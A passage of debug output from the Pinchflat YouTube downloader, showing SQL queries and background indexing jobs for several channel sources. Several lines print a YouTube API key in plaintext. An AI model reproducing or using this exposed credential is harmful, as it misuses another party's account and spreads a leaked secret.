m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 17:17:12.340 [debug] QUERY OK source="media_items" db=0.5ms idle=142.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 17:17:12.341 [debug] QUERY OK source="tasks" db=0.1ms idle=143.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800175, 26, ~U[2026-02-10 23:17:12Z], ~U[2026-02-10 23:17:12Z]] 17:17:12.341 [info] {"args":{"id":26},"id":3800136,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":144540,"event":"job:stop","queue_time":378702,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:13.197 [info] {"args":{"id":18},"id":3800137,"meta":{},"system_time":1770765433197734554,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:13.197 [info] {"args":{"id":39},"id":3800138,"meta":{},"system_time":1770765433197766925,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:13.198 [debug] QUERY OK source="sources" db=0.1ms idle=856.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 17:17:13.198 [debug] QUERY OK source="sources" db=0.1ms idle=856.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 17:17:13.198 [debug] QUERY OK source="settings" db=0.1ms idle=850.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.198 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.198 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:13.198 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:13.198 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.198 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 17:17:13.198 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.198 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:13.199 [debug] QUERY OK source="settings" db=0.6ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.199 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 17:17:13.199 [debug] QUERY OK source="settings" db=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.199 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:13.386 [debug] QUERY OK source="media_items" db=0.7ms idle=187.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 17:17:13.387 [debug] QUERY OK source="media_items" db=0.7ms idle=188.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 17:17:13.388 [debug] QUERY OK source="tasks" db=0.1ms idle=188.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800176, 18, ~U[2026-02-10 23:17:13Z], ~U[2026-02-10 23:17:13Z]] 17:17:13.388 [info] {"args":{"id":18},"id":3800137,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190628,"event":"job:stop","queue_time":456995,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:13.394 [info] {"args":{"id":3},"id":3800139,"meta":{},"system_time":1770765433394731982,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:13.395 [debug] QUERY OK source="sources" db=0.1ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:17:13.395 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.395 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:13.395 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.395 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 17:17:13.395 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:13.395 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:13.468 [debug] QUERY OK source="media_items" db=0.9ms idle=72.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 17:17:13.469 [debug] QUERY OK source="media_items" db=0.4ms idle=73.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 17:17:13.470 [debug] QUERY OK source="tasks" db=0.1ms idle=74.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800177, 39, ~U[2026-02-10 23:17:13Z], ~U[2026-02-10 23:17:13Z]] 17:17:13.470 [info] {"args":{"id":39},"id":3800138,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":272722,"event":"job:stop","queue_time":332603,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:13.583 [debug] QUERY OK source="media_items" db=0.7ms idle=112.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 17:17:13.584 [debug] QUERY OK source="media_items" db=0.4ms idle=114.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:17:13.585 [debug] QUERY OK source="tasks" db=0.0ms idle=108.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800178, 3, ~U[2026-02-10 23:17:13Z], ~U[2026-02-10 23:17:13Z]] 17:17:13.586 [info] {"args":{"id":3},"id":3800139,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":191098,"event":"job:stop","queue_time":392084,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:17.202 [info] {"args":{"id":32},"id":3800140,"meta":{},"system_time":1770765437202727217,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:17.203 [debug] QUERY OK source="sources" db=0.1ms idle=324.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:17:17.203 [debug] QUERY OK source="settings" db=0.0ms idle=324.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:17.203 [debug] QUERY OK source="media_profiles" db=0.1ms idle=324.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:17.203 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:17.203 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:17:17.203 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:17.203 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:17.330 [debug] QUERY OK source="media_items" db=0.8ms idle=126.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", 